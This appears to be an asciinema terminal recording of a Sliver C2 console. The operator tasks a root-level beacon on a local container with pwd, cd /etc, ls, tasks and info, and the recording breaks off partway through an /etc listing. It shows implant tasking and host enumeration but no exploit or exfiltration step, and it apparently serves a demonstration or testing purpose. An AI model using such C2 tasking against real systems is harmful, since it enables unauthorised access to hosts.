[17.833168, "o", "c\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[17.885083, "o", "\u001b[?25l"]
|
||||
[17.886723, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[17.890018, "o", "\u001b[1m\u001b[32mcd\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[17.890688, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[17.965664, "o", "\u001b[?25l"]
|
||||
[17.966478, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[17.96914, "o", "\u001b[1m\u001b[32mcd \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C"]
|
||||
[17.969649, "o", "\u001b[?25h"]
|
||||
[18.307966, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[18.318102, "o", "\u001b[1m\u001b[32mcd \u001b[39m\u001b[22m/\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[18.319213, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[18.428329, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[18.433563, "o", "\u001b[1m\u001b[32mcd \u001b[39m\u001b[22m/e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[18.434378, "o", "\u001b[1A\u001b[36D\u001b[31C\u001b[107D\u001b[36C\u001b[?25h"]
|
||||
[18.530772, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[18.540775, "o", "\u001b[1m\u001b[32mcd \u001b[39m\u001b[22m/et\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[18.54121, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[37D\u001b[31C\u001b[107D\u001b[37C\u001b[?25h"]
|
||||
[18.793708, "o", "\u001b[?25l"]
|
||||
[18.795666, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[18.801623, "o", "\u001b[1m\u001b[32mcd \u001b[39m\u001b[22m/etc\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[38D\u001b[31C\u001b[107D\u001b[38C\u001b[?25h"]
|
||||
[19.801765, "o", "\u001b[38D\u001b[31C\u001b[6n"]
|
||||
[19.817067, "o", "\u001b[107D\u001b[38C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
|
||||
[19.846176, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mTasked beacon CONTINUING_DOWNTOWN (415074fa)\r\n"]
|
||||
[19.847431, "o", "\r\n"]
|
||||
[19.85978, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[19.860582, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[19.862153, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[19.862699, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[20.855063, "o", "\u001b[?25l"]
|
||||
[20.858059, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[20.858829, "o", "\u001b[6n"]
|
||||
[20.863938, "o", "l\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D"]
|
||||
[20.865159, "o", "\u001b[32C\u001b[?25h"]
|
||||
[21.092764, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[21.104102, "o", "\u001b[1m\u001b[32mls\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[21.10599, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[21.410436, "o", "\u001b[33D\u001b[31C"]
|
||||
[21.412152, "o", "\u001b[6n"]
|
||||
[21.418941, "o", "\u001b[107D\u001b[33C\u001b[0J\u001b[107D\r\r\n\u001b[0 q\r\n"]
|
||||
[21.45684, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mTasked beacon CONTINUING_DOWNTOWN (3fb0a3ef)\r\n"]
|
||||
[21.457058, "o", "\r\n"]
|
||||
[21.469921, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[21.470439, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[21.471969, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[23.698776, "o", "\u001b[H\u001b[2J\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[23.706583, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[23.713233, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[24.204711, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[24.215048, "o", "t\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[24.216192, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[24.385819, "o", "\u001b[?25l"]
|
||||
[24.387265, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[24.392423, "o", "ta\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[24.432631, "o", "\u001b[?25l\u001b[107D"]
|
||||
[24.43278, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[24.435163, "o", "tas\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[24.634834, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[24.645885, "o", "task\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[24.647113, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[24.762501, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[24.762693, "o", "\u001b[6n"]
|
||||
[24.764901, "o", "\u001b[1m\u001b[32mtasks\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[36D\u001b[31C\u001b[107D"]
|
||||
[24.765428, "o", "\u001b[36C\u001b[?25h"]
|
||||
[25.083701, "o", "\u001b[36D\u001b[31C\u001b[6n"]
|
||||
[25.088072, "o", "\u001b[107D\u001b[36C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[25.089524, "o", "\u001b[0 q\r\n"]
|
||||
[25.117898, "o", " ID State Message Type Created Sent Completed \r\n========== ========= ============== =============================== =============================== ===============================\r\n"]
|
||||
[25.119642, "o", " 3fb0a3ef \u001b[1mpending\u001b[0m Ls Wed, 01 May 2024 18:59:46 UTC Thu, 01 Jan 1970 00:00:00 UTC Thu, 01 Jan 1970 00:00:00 UTC \r\n 415074fa \u001b[1mpending\u001b[0m Cd Wed, 01 May 2024 18:59:44 UTC Thu, 01 Jan 1970 00:00:00 UTC Thu, 01 Jan 1970 00:00:00 UTC \r\n 3b339091 \u001b[1mpending\u001b[0m Pwd Wed, 01 May 2024 18:59:41 UTC Thu, 01 Jan 1970 00:00:00 UTC Thu, 01 Jan 1970 00:00:00 UTC \r\n\r\n\r\n"]
|
||||
[25.139008, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[25.139159, "o", "\u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[25.139852, "o", "\u001b[6n"]
|
||||
[25.142048, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A"]
|
||||
[25.143009, "o", "\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[30.994088, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[30.995627, "o", "\u001b[6n"]
|
||||
[31.00773, "o", "i\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[31.00882, "o", "\u001b[107D\u001b[1A\u001b[32D\u001b[31C\u001b[107D\u001b[32C\u001b[?25h"]
|
||||
[31.074793, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[31.075559, "o", "\u001b[6n"]
|
||||
[31.078638, "o", "in\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
|
||||
[31.079039, "o", "\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[33D\u001b[31C\u001b[107D\u001b[33C\u001b[?25h"]
|
||||
[31.222549, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[31.230427, "o", "inf\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D"]
|
||||
[31.231631, "o", "\u001b[1A\u001b[34D\u001b[31C\u001b[107D\u001b[34C\u001b[?25h"]
|
||||
[31.311545, "o", "\u001b[?25l"]
|
||||
[31.31489, "o", "\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[31.320102, "o", "\u001b[1m\u001b[32minfo\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[31.321808, "o", "\u001b[107D\u001b[1A\u001b[35D\u001b[31C\u001b[107D\u001b[35C\u001b[?25h"]
|
||||
[31.68305, "o", "\u001b[35D\u001b[31C"]
|
||||
[31.688619, "o", "\u001b[6n"]
|
||||
[31.698806, "o", "\u001b[107D\u001b[35C\u001b[0J\u001b[107D\r\r\n"]
|
||||
[31.699018, "o", "\u001b[0 q\r\n"]
|
||||
[31.729734, "o", "\u001b[1m Beacon ID: \u001b[0m1c2fd3e4-045b-445c-9cbc-7c955a42710c\r\n"]
|
||||
[31.730149, "o", "\u001b[1m Name: \u001b[0mCONTINUING_DOWNTOWN\r\n\u001b[1m Hostname: \u001b[0m98df0494f659\r\n"]
|
||||
[31.733905, "o", "\u001b[1m UUID: \u001b[0m3424b72e-e104-e99b-e183-dc60a7b751a0\r\n\u001b[1m Username: \u001b[0mroot\r\n\u001b[1m UID: \u001b[0m0\r\n\u001b[1m GID: \u001b[0m0\r\n\u001b[1m PID: \u001b[0m19246\r\n\u001b[1m OS: \u001b[0mlinux\r\n\u001b[1m Version: \u001b[0mLinux 98df0494f659 5.10.76-linuxkit\r\n\u001b[1m Locale: \u001b[0m\r\n\u001b[1m Arch: \u001b[0mamd64\r\n\u001b[1m Active C2: \u001b[0mhttps://localhost\r\n\u001b[1m Remote Address: \u001b[0m127.0.0.1:60476\r\n\u001b[1m Proxy URL: \u001b[0m\r\n"]
|
||||
[31.7359, "o", "\u001b[1m Interval: \u001b[0m15s\r\n\u001b[1m Jitter: \u001b[0m30s\r\n\u001b[1m First Contact: \u001b[0mWed May 1 18:59:29 UTC 2024 (28s ago)\r\n\u001b[1m Last Checkin: \u001b[0mWed May 1 18:59:30 UTC 2024 (27s ago)\r\n\u001b[1m Next Checkin: \u001b[0m\u001b[1m\u001b[31mWed May 1 18:59:47 UTC 2024 (10s ago)\u001b[0m\r\n\r\n"]
|
||||
[31.840928, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[1 q\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[31.841133, "o", "\u001b[6n"]
|
||||
[31.843164, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[41.421086, "o", "\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\u001b[1m\u001b[32m[+] \u001b[0mCONTINUING_DOWNTOWN completed task 3b339091\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[41.421814, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[41.423966, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[41.425137, "o", "\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[41.428631, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[41.428722, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[41.429504, "o", "\u001b[6n"]
|
||||
[41.430967, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
|
||||
[41.431046, "o", "\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[41.431653, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m/root\r\n\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[41.432393, "o", "\u001b[6n"]
|
||||
[41.43396, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[41.438188, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\u001b[1m\u001b[32m[+] \u001b[0mCONTINUING_DOWNTOWN completed task 415074fa\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[41.439906, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[41.443023, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[41.443652, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[41.443751, "o", "\u001b[6n"]
|
||||
[41.445692, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
|
||||
[41.445832, "o", "\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0m/etc\r\n\r\n\r\n"]
|
||||
[41.446073, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[41.447912, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[41.451528, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\u001b[1m\u001b[32m[+] \u001b[0mCONTINUING_DOWNTOWN completed task 3fb0a3ef\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[41.452034, "o", "\u001b[6n"]
|
||||
[41.454093, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D"]
|
||||
[41.455191, "o", "\u001b[31C\u001b[?25h"]
|
||||
[41.459438, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J\r\u001b[2K\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[41.459575, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[41.459998, "o", "\u001b[6n"]
|
||||
[41.461618, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A"]
|
||||
[41.461799, "o", "\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[41.46353, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J/etc (81 items, 260.8 KiB)\r\n\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[41.46363, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[41.464981, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[41.465149, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J==========================\r\n\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > "]
|
||||
[41.465556, "o", "\u001b[?25l\u001b[107D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (CONTINUING_DOWNTOWN)\u001b[0m > \u001b[6n"]
|
||||
[41.467683, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[107D\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[31C\u001b[?25h"]
|
||||
[41.470944, "o", "\u001b[1A\u001b[31D\u001b[31C\u001b[107D\u001b[0J-rw------- root:root .pwd.lock 0 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root adduser.conf 3.0 KiB Tue Apr 25 14:03:14 +0000 2023\r\ndrwxr-xr-x root:root alternatives <dir> Tue Apr 25 14:06:16 +0000 2023\r\ndrwxr-xr-x root:root apt <dir> Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root bash.bashrc 2.3 KiB Thu Jan 06 16:23:33 +0000 2022\r\n-rw-r--r-- root:root bindresvport.blacklist 367 B Wed Dec 16 11:04:55 +0000 2020\r\ndrwxr-xr-x root:root ca-certificates <dir> Wed May 01 13:50:41 +0000 2024\r\n-rw-r--r-- root:root ca-certificates.conf 5.8 KiB Wed May 01 13:50:51 +0000 2024\r\ndrwxr-xr-x root:root cloud <dir> Tue Apr 25 14:06:23 +0000 2023\r\ndrwxr-xr-x root:root cron.d <d"]
|
||||
[41.471062, "o", "ir> Tue Apr 25 14:06:19 +0000 2023\r\ndrwxr-xr-x root:root cron.daily <dir> Tue Apr 25 14:06:17 +0000 2023\r\n-rw-r--r-- root:root debconf.conf 2.9 KiB Sun Feb 20 14:42:49 +0000 2022\r\n-rw-r--r-- root:root debian_version 13 B Sun Aug 22 17:00:00 +0000 2021\r\ndrwxr-xr-x root:root default <dir> Tue Apr 25 14:06:18 +0000 2023\r\n-rw-r--r-- root:root deluser.conf 604 B Sat Sep 15 22:14:19 +0000 2018\r\ndrwxr-xr-x root:root dpkg <dir> Tue Apr 25 14:06:16 +0000 2023\r\n-rw-r--r-- root:root e2scrub.conf 685 B Sat Jan 08 20:02:36 +0000 2022\r\n-rw-r--r-- root:root environment 106 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root fstab 37 B Tue Apr 25 14:03:08 +0000 2023\r\n-rw-r--r-- root:root gai.conf "]
|
||||
[41.471096, "o", " 2.5 KiB Thu Feb 03 05:27:54 +0000 2022\r\n-rw-r--r-- root:root group 446 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r----- root:shadow gshadow 374 B Tue Apr 25 14:03:14 +0000 2023\r\ndrwxr-xr-x root:root gss <dir> Mon Feb 21 20:05:20 +0000 2022\r\n-rw-r--r-- root:root host.conf 92 B Fri Oct 15 10:06:05 +0000 2021\r\n-rw-r--r-- root:root hostname 13 B Wed May 01 11:41:24 +0000 2024\r\n-rw-r--r-- root:root hosts 174 B Wed May 01 11:41:24 +0000 2024\r\ndrwxr-xr-x root:root init.d <dir> Tue Apr 25 14:06:09 +0000 2023\r\n-rw-r--r-- root:root inputrc 1.7 KiB Thu Jan 06 16:26:54 +0000 2022\r\n-rw-r--r-- root:root issue 26 B Thu Feb 16 16:02:32 +0000 2023\r\n-rw-r--r-- root:root issue.n"]
|
||||
[41.471154, "o", "et 19 B Thu Feb 16 16:02:32 +0000 2023\r\ndrwxr-xr-x root:root kernel <dir> Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root ld.so.cache 6.6 KiB Wed May 01 13:51:02 +0000 2024\r\n-rw-r--r-- root:root ld.so.conf 34 B Wed Dec 16 11:04:55 +0000 2020\r\ndrwxr-xr-x root:root ld.so.conf.d <dir> Tue Apr 25 14:06:17 +0000 2023\r\ndrwxr-xr-x root:root ldap <dir> Wed May 01 13:50:43 +0000 2024\r\n-rw-r--r-- root:root legal 267 B Fri Oct 15 10:06:05 +0000 2021\r\n-rw-r--r-- root:root libaudit.conf 191 B Thu Mar 17 17:50:40 +0000 2022\r\ndrwxr-xr-x root:root logcheck <dir> Wed May 01 13:50:43 +0000 2024\r\n-rw-r--r-- root:root login.defs 10.5 KiB Thu Nov 11 15:42:38 +0000 2021\r\ndrwxr-xr-x root"]
|
||||
[41.472038, "o", ":root logrotate.d <dir> Tue Apr 25 14:06:17 +0000 2023\r\n-rw-r--r-- root:root lsb-release 104 B Thu Feb 16 16:02:32 +0000 2023\r\n-rw-r--r-- root:root machine-id 0 B Tue Apr 25 14:06:19 +0000 2023\r\n-rw-r--r-- root:root mime.types 70.3 KiB Mon Mar 21 09:12:23 +0000 2022\r\n-rw-r--r-- root:root mke2fs.conf 744 B Sat Jan 08 20:02:36 +0000 2022\r\nLrwxrwxrwx root:root mtab -> /proc/19246/mounts 12 B Wed May 01 11:41:24 +0000 2024\r\n-rw-r--r-- root:root netconfig 767 B Thu Mar 24 16:13:48 +0000 2022\r\n-rw-r--r-- root:root networks 91 B Fri Oct 15 10:06:05 +0000 2021\r\n-rw-r--r-- root:root nsswitch.conf 494 B Wed Dec 16 11:04:55 +0000 2020\r\ndrwxr-xr-x root:root opt <dir> Tue Apr 25 14:03:08 +0000 2023\r\n"]
|
||||
[41.472187, "o", "Lrwxrwxrwx root:root os-release -> ../usr/lib/os-release 21 B Thu Feb 16 16:02:32 +0000 2023\r\n-rw-r--r-- root:root pam.conf 552 B Wed Aug 12 00:15:04 +0000 2020\r\ndrwxr-xr-x root:root pam.d <dir> Tue Apr 25 14:06:18 +0000 2023\r\n-rw-r--r-- root:root passwd 922 B Tue Apr 25 14:03:14 +0000 2023\r\n-rw-r--r-- root:root profile 582 B Fri Oct 15 10:06:05 +0000 2021\r\ndrwxr-xr-x root:root profile.d <dir> Tue Apr 25 14:06:16 +0000 2023\r\ndrwxr-xr-x root:root python3 <dir> Wed May 01 11:42:42 +0000 2024\r\ndrwxr-xr-x root:root python3.10 <dir> Wed May 01 11:42:32 +0000 2024\r\ndrwxr-xr-x root:root rc0.d <dir> Tue Feb 15 22:32:46 +0000 2022\r\ndrwxr-xr-x root:root rc1.d <dir> Tue Feb 15 22:32"]
|
||||
